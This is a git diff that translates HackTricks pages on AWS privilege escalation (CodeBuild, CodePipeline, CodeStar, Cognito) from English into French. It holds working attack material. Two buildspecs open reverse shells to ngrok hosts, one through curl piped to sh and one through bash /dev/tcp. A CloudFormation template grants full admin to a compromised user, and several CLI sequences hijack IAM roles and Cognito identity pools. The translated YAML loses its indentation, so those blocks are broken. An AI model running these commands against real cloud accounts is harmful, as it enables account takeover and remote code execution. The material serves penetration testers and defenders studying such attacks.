-        \"type\": \"LINUX_CONTAINER\",
-        \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
-        \"computeType\": \"BUILD_GENERAL1_SMALL\",
-        \"imagePullCredentialsType\": \"CODEBUILD\"
-    }
+\"name\": \"project_name\",
+\"source\": {
+\"type\": \"NO_SOURCE\",
+\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
+},
+\"artifacts\": {
+\"type\": \"NO_ARTIFACTS\"
+},
+\"environment\": {
+\"type\": \"LINUX_CONTAINER\",
+\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
+\"computeType\": \"BUILD_GENERAL1_SMALL\",
+\"imagePullCredentialsType\": \"CODEBUILD\"
+}
 }"
 
 printf "$JSON" > $REV_PATH
@@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
 
 aws codebuild start-build-batch --project-name codebuild-demo-project
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
+**Impact potentiel :** Privesc direct aux rôles AWS Codebuild attachés.
 
 ### SSM
 
-Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built.
+Avoir **suffisamment de permissions pour démarrer une session ssm** permet d'**entrer dans un projet Codebuild** en cours de construction.
 
-The codebuild project will need to have a breakpoint:
+Le projet codebuild devra avoir un point d'arrêt :
 
 <pre class="language-yaml"><code class="lang-yaml">phases:
-  pre_build:
-    commands:
-      - echo Entered the pre_build phase...
-      - echo "Hello World" > /tmp/hello-world
+pre_build:
+commands:
+- echo Entré dans la phase pre_build...
+- echo "Hello World" > /tmp/hello-world
 <strong>      - codebuild-breakpoint
 </strong></code></pre>
 
-And then:
-
+Et ensuite :
 ```bash
 aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
 aws ssm start-session --target <sessionTarget> --region <region>
 ```
-
-For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Pour plus d'informations [**consultez la documentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process.
-
-Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker.
+Un attaquant capable de démarrer/redémarrer une build d'un projet CodeBuild spécifique qui stocke son fichier `buildspec.yml` dans un bucket S3 auquel l'attaquant a accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild.
 
+Remarque : l'escalade est pertinente uniquement si le travailleur CodeBuild a un rôle différent, espérons-le plus privilégié, que celui de l'attaquant.
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
@@ -325,29 +308,22 @@ aws codebuild start-build --project-name <project-name>
 
 # Wait for the reverse shell :)
 ```
-
-You can use something like this **buildspec** to get a **reverse shell**:
-
+Vous pouvez utiliser quelque chose comme ceci **buildspec** pour obtenir un **reverse shell** :
 ```yaml:buildspec.yml
 version: 0.2
 
 phases:
-  build:
-    commands:
-      - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
+build:
+commands:
+- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-
-**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.
+**Impact :** Privesc direct au rôle utilisé par le travailleur AWS CodeBuild qui a généralement des privilèges élevés.
 
 > [!WARNING]
-> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload
+> Notez que le buildspec pourrait être attendu au format zip, donc un attaquant devrait télécharger, dézipper, modifier le `buildspec.yml` depuis le répertoire racine, rezipper et télécharger à nouveau.
 
-More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
+Plus de détails peuvent être trouvés [ici](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
+**Impact potentiel :** Privesc direct aux rôles AWS Codebuild attachés.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 0662ae9e2..9c622cee6 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -4,7 +4,7 @@
 
 ## codepipeline
 
-For more info about codepipeline check:
+Pour plus d'informations sur codepipeline, consultez :
 
 {{#ref}}
 ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -12,13 +12,13 @@ For more info about codepipeline check:
 
 ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
 
-When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them.
+Lors de la création d'un code pipeline, vous pouvez indiquer un **rôle IAM codepipeline à exécuter**, vous pourriez donc les compromettre.
 
-Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...)
+En plus des autorisations précédentes, vous auriez besoin **d'accès à l'endroit où le code est stocké** (S3, ECR, github, bitbucket...)
 
-I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
+J'ai testé cela en effectuant le processus sur la page web, les autorisations indiquées précédemment ne sont pas celles de List/Get nécessaires pour créer un codepipeline, mais pour le créer sur le web, vous aurez également besoin de : `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<plusieurs>`
 
-During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise:
+Lors de la **création du projet de build**, vous pouvez indiquer une **commande à exécuter** (rev shell ?) et exécuter la phase de build en tant que **utilisateur privilégié**, c'est la configuration dont l'attaquant a besoin pour compromettre :
 
 ![](<../../../images/image (276).png>)
 
@@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run
 
 ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
 
-It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions.
+Il pourrait être possible de modifier le rôle utilisé et la commande exécutée sur un codepipeline avec les autorisations précédentes.
 
 ### `codepipeline:pollforjobs`
 
-[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+[AWS mentionne](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) :
 
-> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**.
+> Lorsque cette API est appelée, CodePipeline **renvoie des identifiants temporaires pour le bucket S3** utilisé pour stocker les artefacts du pipeline, si l'action nécessite un accès à ce bucket S3 pour les artefacts d'entrée ou de sortie. Cette API **renvoie également toutes les valeurs secrètes définies pour l'action**.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index 387c6ffff..7d1e966f5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -4,7 +4,7 @@
 
 ## Codestar
 
-You can find more information about codestar in:
+Vous pouvez trouver plus d'informations sur codestar dans :
 
 {{#ref}}
 codestar-createproject-codestar-associateteammember.md
@@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md
 
 ### `iam:PassRole`, `codestar:CreateProject`
 
-With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page:
+Avec ces permissions, vous pouvez **abuser d'un rôle IAM codestar** pour effectuer des **actions arbitraires** via un **modèle cloudformation**. Consultez la page suivante :
 
 {{#ref}}
 iam-passrole-codestar-createproject.md
@@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md
 
 ### `codestar:CreateProject`, `codestar:AssociateTeamMember`
 
-This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**.
-
+Cette technique utilise `codestar:CreateProject` pour créer un projet codestar, et `codestar:AssociateTeamMember` pour faire d'un utilisateur IAM le **propriétaire** d'un nouveau **projet** CodeStar, ce qui leur accordera une **nouvelle politique avec quelques permissions supplémentaires**.
 ```bash
 PROJECT_NAME="supercodestar"
 
 aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
-    --name $PROJECT_NAME \
-    --id $PROJECT_NAME
+--name $PROJECT_NAME \
+--id $PROJECT_NAME
 
 echo "Waiting 1min to start the project"
 sleep 60
@@ -35,15 +34,14 @@ sleep 60
 USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')
 
 aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
-    --project-id $PROJECT_NAME \
-    --user-arn "$USER_ARN" \
-    --project-role "Owner" \
-    --remote-access-allowed
+--project-id $PROJECT_NAME \
+--user-arn "$USER_ARN" \
+--project-role "Owner" \
+--remote-access-allowed
 ```
+Si vous êtes déjà un **membre du projet**, vous pouvez utiliser la permission **`codestar:UpdateTeamMember`** pour **mettre à jour votre rôle** en tant que propriétaire au lieu de `codestar:AssociateTeamMember`.
 
-If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember`
-
-**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in:
+**Impact potentiel :** Privesc à la politique codestar générée. Vous pouvez trouver un exemple de cette politique dans :
 
 {{#ref}}
 codestar-createproject-codestar-associateteammember.md
@@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md
 
 ### `codestar:CreateProjectFromTemplate`
 
-1. **Create a New Project:**
-   - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project.
-     - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**.
-     - This access specifically targets a stack associated with the `CodeStarWorker-<generic project name>-CloudFormation` IAM role.
-2. **Update the Target Stack:**
-   - With the granted CloudFormation permissions, proceed to update the specified stack.
-     - The stack's name will typically conform to one of two patterns:
-       - `awscodestar-<generic project name>-infrastructure`
-       - `awscodestar-<generic project name>-lambda`
-       - The exact name depends on the chosen template (referencing the example exploit script).
-3. **Access and Permissions:**
-   - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack.
-   - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further.
+1. **Créer un nouveau projet :**
+- Utilisez l'action **`codestar:CreateProjectFromTemplate`** pour initier la création d'un nouveau projet.
+- Une fois la création réussie, l'accès est automatiquement accordé pour **`cloudformation:UpdateStack`**.
+- Cet accès cible spécifiquement une pile associée au rôle IAM `CodeStarWorker-<nom de projet générique>-CloudFormation`.
+2. **Mettre à jour la pile cible :**
+- Avec les permissions CloudFormation accordées, procédez à la mise à jour de la pile spécifiée.
+- Le nom de la pile conformera généralement à l'un des deux modèles :
+- `awscodestar-<nom de projet générique>-infrastructure`
+- `awscodestar-<nom de projet générique>-lambda`
+- Le nom exact dépend du modèle choisi (référencer le script d'exploitation exemple).
+3. **Accès et permissions :**
+- Après la mise à jour, vous obtenez les capacités assignées au **rôle IAM CloudFormation** lié à la pile.
+- Remarque : Cela ne fournit pas intrinsèquement des privilèges d'administrateur complets. Des ressources mal configurées supplémentaires dans l'environnement pourraient être nécessaires pour élever davantage les privilèges.
 
-For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
+Pour plus d'informations, consultez la recherche originale : [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
+Vous pouvez trouver l'exploitation dans [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
 
-**Potential Impact:** Privesc to cloudformation IAM role.
+**Impact potentiel :** Privesc au rôle IAM cloudformation.
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
index 0de95738e..1cc6bd133 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
@@ -2,84 +2,78 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-This is the created policy the user can privesc to (the project name was `supercodestar`):
-
+C'est la politique créée à laquelle l'utilisateur peut privesc (le nom du projet était `supercodestar`) :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Sid": "1",
-      "Effect": "Allow",
-      "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"],
-      "Resource": [
-        "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar",
-        "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent",
-        "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner"
-      ]
-    },
-    {
-      "Sid": "2",
-      "Effect": "Allow",
-      "Action": [
-        "codestar:DescribeUserProfile",
-        "codestar:ListProjects",
-        "codestar:ListUserProfiles",
-        "codestar:VerifyServiceRole",
-        "cloud9:DescribeEnvironment*",
-        "cloud9:ValidateEnvironmentName",
-        "cloudwatch:DescribeAlarms",
-        "cloudwatch:GetMetricStatistics",
-        "cloudwatch:ListMetrics",
-        "codedeploy:BatchGet*",
-        "codedeploy:List*",
-        "codestar-connections:UseConnection",
-        "ec2:DescribeInstanceTypeOfferings",
-        "ec2:DescribeInternetGateways",
-        "ec2:DescribeNatGateways",
-        "ec2:DescribeRouteTables",
-        "ec2:DescribeSecurityGroups",
-        "ec2:DescribeSubnets",
-        "ec2:DescribeVpcs",
-        "events:ListRuleNamesByTarget",
-        "iam:GetAccountSummary",
-        "iam:GetUser",
-        "iam:ListAccountAliases",
-        "iam:ListRoles",
-        "iam:ListUsers",
-        "lambda:List*",
-        "sns:List*"
-      ],
-      "Resource": ["*"]
-    },
-    {
-      "Sid": "3",
-      "Effect": "Allow",
-      "Action": [
-        "codestar:*UserProfile",
-        "iam:GenerateCredentialReport",
-        "iam:GenerateServiceLastAccessedDetails",
-        "iam:CreateAccessKey",
-        "iam:UpdateAccessKey",
-        "iam:DeleteAccessKey",
-        "iam:UpdateSSHPublicKey",
-        "iam:UploadSSHPublicKey",
-        "iam:DeleteSSHPublicKey",
-        "iam:CreateServiceSpecificCredential",
-        "iam:UpdateServiceSpecificCredential",
-        "iam:DeleteServiceSpecificCredential",
-        "iam:ResetServiceSpecificCredential",
-        "iam:Get*",
-        "iam:List*"
-      ],
-      "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"]
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "1",
+"Effect": "Allow",
+"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"],
+"Resource": [
+"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar",
+"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent",
+"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner"
+]
+},
+{
+"Sid": "2",
+"Effect": "Allow",
+"Action": [
+"codestar:DescribeUserProfile",
+"codestar:ListProjects",
+"codestar:ListUserProfiles",
+"codestar:VerifyServiceRole",
+"cloud9:DescribeEnvironment*",
+"cloud9:ValidateEnvironmentName",
+"cloudwatch:DescribeAlarms",
+"cloudwatch:GetMetricStatistics",
+"cloudwatch:ListMetrics",
+"codedeploy:BatchGet*",
+"codedeploy:List*",
+"codestar-connections:UseConnection",
+"ec2:DescribeInstanceTypeOfferings",
+"ec2:DescribeInternetGateways",
+"ec2:DescribeNatGateways",
+"ec2:DescribeRouteTables",
+"ec2:DescribeSecurityGroups",
+"ec2:DescribeSubnets",
+"ec2:DescribeVpcs",
+"events:ListRuleNamesByTarget",
+"iam:GetAccountSummary",
+"iam:GetUser",
+"iam:ListAccountAliases",
+"iam:ListRoles",
+"iam:ListUsers",
+"lambda:List*",
+"sns:List*"
+],
+"Resource": ["*"]
+},
+{
+"Sid": "3",
+"Effect": "Allow",
+"Action": [
+"codestar:*UserProfile",
+"iam:GenerateCredentialReport",
+"iam:GenerateServiceLastAccessedDetails",
+"iam:CreateAccessKey",
+"iam:UpdateAccessKey",
+"iam:DeleteAccessKey",
+"iam:UpdateSSHPublicKey",
+"iam:UploadSSHPublicKey",
+"iam:DeleteSSHPublicKey",
+"iam:CreateServiceSpecificCredential",
+"iam:UpdateServiceSpecificCredential",
+"iam:DeleteServiceSpecificCredential",
+"iam:ResetServiceSpecificCredential",
+"iam:Get*",
+"iam:List*"
+],
+"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"]
+}
+]
 }
 ```
-
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index 891d72df5..655f4772b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -2,42 +2,39 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**.
-
-To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**:
+Avec ces permissions, vous pouvez **abuser d'un rôle IAM codestar** pour effectuer **des actions arbitraires** via un **modèle cloudformation**.
 
+Pour exploiter cela, vous devez créer un **bucket S3 qui est accessible** depuis le compte attaqué. Téléchargez un fichier appelé `toolchain.json`. Ce fichier doit contenir l'**exploit du modèle cloudformation**. Le suivant peut être utilisé pour définir une politique gérée à un utilisateur sous votre contrôle et **lui donner des permissions d'administrateur** :
 ```json:toolchain.json
 {
-  "Resources": {
-    "supercodestar": {
-      "Type": "AWS::IAM::ManagedPolicy",
-      "Properties": {
-        "ManagedPolicyName": "CodeStar_supercodestar",
-        "PolicyDocument": {
-          "Version": "2012-10-17",
-          "Statement": [
-            {
-              "Effect": "Allow",
-              "Action": "*",
-              "Resource": "*"
-            }
-          ]
-        },
-        "Users": ["<compromised username>"]
-      }
-    }
-  }
+"Resources": {
+"supercodestar": {
+"Type": "AWS::IAM::ManagedPolicy",
+"Properties": {
+"ManagedPolicyName": "CodeStar_supercodestar",
+"PolicyDocument": {
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+},
+"Users": ["<compromised username>"]
+}
+}
+}
 }
 ```
-
-Also **upload** this `empty zip` file to the **bucket**:
+Aussi **téléchargez** ce fichier `empty zip` dans le **bucket** :
 
 {% file src="../../../../images/empty.zip" %}
 
-Remember that the **bucket with both files must be accessible by the victim account**.
-
-With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project:
+N'oubliez pas que le **bucket avec les deux fichiers doit être accessible par le compte de la victime**.
 
+Avec les deux éléments téléchargés, vous pouvez maintenant procéder à l'**exploitation** en créant un projet **codestar** :
 ```bash
 PROJECT_NAME="supercodestar"
 
@@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar"
 ## In this JSON the bucket and key (path) to the empry.zip file is used
 SOURCE_CODE_PATH="/tmp/surce_code.json"
 SOURCE_CODE="[
-    {
-        \"source\": {
-            \"s3\": {
-                \"bucketName\": \"privesc\",
-                \"bucketKey\": \"empty.zip\"
-            }
-    },
-        \"destination\": {
-            \"codeCommit\": {
-                \"name\": \"$PROJECT_NAME\"
-            }
-        }
-    }
+{
+\"source\": {
+\"s3\": {
+\"bucketName\": \"privesc\",
+\"bucketKey\": \"empty.zip\"
+}
+},
+\"destination\": {
+\"codeCommit\": {
+\"name\": \"$PROJECT_NAME\"
+}
+}
+}
 ]"
 printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
 
@@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
 ## In this JSON the bucket and key (path) to the toolchain.json file is used
 TOOLCHAIN_PATH="/tmp/tool_chain.json"
 TOOLCHAIN="{
-    \"source\": {
-        \"s3\": {
-            \"bucketName\": \"privesc\",
-            \"bucketKey\": \"toolchain.json\"
-        }
-    },
-    \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
+\"source\": {
+\"s3\": {
+\"bucketName\": \"privesc\",
+\"bucketKey\": \"toolchain.json\"
+}
+},
+\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
 }"
 printf "$TOOLCHAIN" > $TOOLCHAIN_PATH
 
 # Create the codestar project that will use the cloudformation epxloit to privesc
 aws codestar create-project \
-    --name $PROJECT_NAME \
-    --id $PROJECT_NAME \
-    --source-code file://$SOURCE_CODE_PATH \
-    --toolchain file://$TOOLCHAIN_PATH
+--name $PROJECT_NAME \
+--id $PROJECT_NAME \
+--source-code file://$SOURCE_CODE_PATH \
+--toolchain file://$TOOLCHAIN_PATH
 ```
-
-This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user.
+Cet exploit est basé sur le **Pacu exploit de ces privilèges** : [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Vous pouvez y trouver une variation pour créer une politique gérée par l'administrateur pour un rôle au lieu d'un utilisateur.
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index ddd0c1efd..00d91fb8a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -4,28 +4,27 @@
 
 ## Cognito
 
-For more info about Cognito check:
+Pour plus d'informations sur Cognito, consultez :
 
 {{#ref}}
 ../aws-services/aws-cognito-enum/
 {{#endref}}
 
-### Gathering credentials from Identity Pool
+### Récupération des identifiants depuis le Identity Pool
 
-As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously).
+Comme Cognito peut accorder des **identifiants de rôle IAM** à la fois aux **utilisateurs authentifiés** et **non authentifiés**, si vous localisez l'**ID du Identity Pool** d'une application (qui devrait être codé en dur), vous pouvez obtenir de nouveaux identifiants et donc un privesc (dans un compte AWS où vous n'aviez probablement même pas d'identifiants auparavant).
 
-For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito).
+Pour plus d'informations, [**consultez cette page**](../aws-unauthenticated-enum-access/#cognito).
 
-**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users).
+**Impact potentiel :** Privesc direct vers le rôle de service attaché aux utilisateurs non authentifiés (et probablement vers celui attaché aux utilisateurs authentifiés).
 
 ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
 
-With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app.
-
+Avec cette permission, vous pouvez **accorder n'importe quel rôle cognito** aux utilisateurs authentifiés/non authentifiés de l'application cognito.
 ```bash
 aws cognito-identity set-identity-pool-roles \
-    --identity-pool-id <identity_pool_id> \
-    --roles unauthenticated=<role ARN>
+--identity-pool-id <identity_pool_id> \
+--roles unauthenticated=<role ARN>
 
 # Get credentials
 ## Get one ID
@@ -33,286 +32,243 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
 ## Get creds for that id
 aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
 ```
+Si l'application cognito **n'a pas les utilisateurs non authentifiés activés**, vous pourriez également avoir besoin de la permission `cognito-identity:UpdateIdentityPool` pour l'activer.
 
-If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it.
-
-**Potential Impact:** Direct privesc to any cognito role.
+**Impact potentiel :** Privesc direct vers n'importe quel rôle cognito.
 
 ### `cognito-identity:update-identity-pool`
 
-An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**.
-
+Un attaquant avec cette permission pourrait par exemple définir un Cognito User Pool sous son contrôle ou tout autre fournisseur d'identité où il peut se connecter comme **un moyen d'accéder à ce Cognito Identity Pool**. Ensuite, il suffit de **se connecter** sur ce fournisseur d'utilisateur pour **lui permettre d'accéder au rôle authentifié configuré dans l'Identity Pool**.
 ```bash
 # This example is using a Cognito User Pool as identity provider
 ## but you could use any other identity provider
 aws cognito-identity update-identity-pool \
-    --identity-pool-id <value> \
-    --identity-pool-name <value> \
-    [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
-    --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
+--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
 
 # Now you need to login to the User Pool you have configured
 ## after having the id token of the login continue with the following commands:
 
 # In this step you should have already an ID Token
 aws cognito-identity get-id \
-    --identity-pool-id <id_pool_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id <id_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 # Get the identity_id from thr previous commnad response
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 ```
-
-It's also possible to **abuse this permission to allow basic auth**:
-
+Il est également possible de **mal utiliser cette autorisation pour permettre l'authentification de base** :
 ```bash
 aws cognito-identity update-identity-pool \
-    --identity-pool-id <value> \
-    --identity-pool-name <value> \
-    --allow-unauthenticated-identities
-    --allow-classic-flow
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+--allow-unauthenticated-identities
+--allow-classic-flow
 ```
